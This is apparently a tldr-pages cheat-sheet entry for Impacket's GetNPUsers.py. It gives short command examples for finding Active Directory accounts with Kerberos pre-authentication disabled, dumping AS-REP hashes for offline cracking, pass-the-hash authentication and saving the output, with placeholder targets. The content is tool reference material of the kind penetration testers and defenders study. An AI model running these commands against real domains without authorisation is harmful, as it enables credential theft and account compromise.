getnpusers.py
Enumerate Active Directory accounts with Kerberos pre-authentication disabled, which may be susceptible to AS-REP roasting attacks. tldr-pages
On several platforms
Several platforms
Enumerate Active Directory accounts with Kerberos pre-authentication disabled, which may be susceptible to AS-REP roasting attacks. Part of the Impacket suite.
Enumerate users with Kerberos pre-authentication disabled (default anonymous enumeration)
GetNPUsers.py domain/ -usersfile path/to/userslist -dc-ip domain_controller_ip -no-passIdentifyPerform AS-REP roasting and dump crackable hashes for offline cracking
GetNPUsers.py domain/ -usersfile path/to/userslist -dc-ip domain_controller_ip -no-pass -requestIdentifyAuthenticate with valid credentials (if anonymous binding is disabled)
GetNPUsers.py domain/username:password -usersfile path/to/userslist -dc-ip domain_controller_ipIdentifyUse pass-the-hash authentication instead of a password
GetNPUsers.py domain/username -hashes LM_Hash:NT_Hash -usersfile path/to/userslist -dc-ip domain_controller_ipIdentifySave the output to a file for further analysis
GetNPUsers.py domain/ -usersfile path/to/userslist -dc-ip domain_controller_ip -request >path/to/output.txtIdentify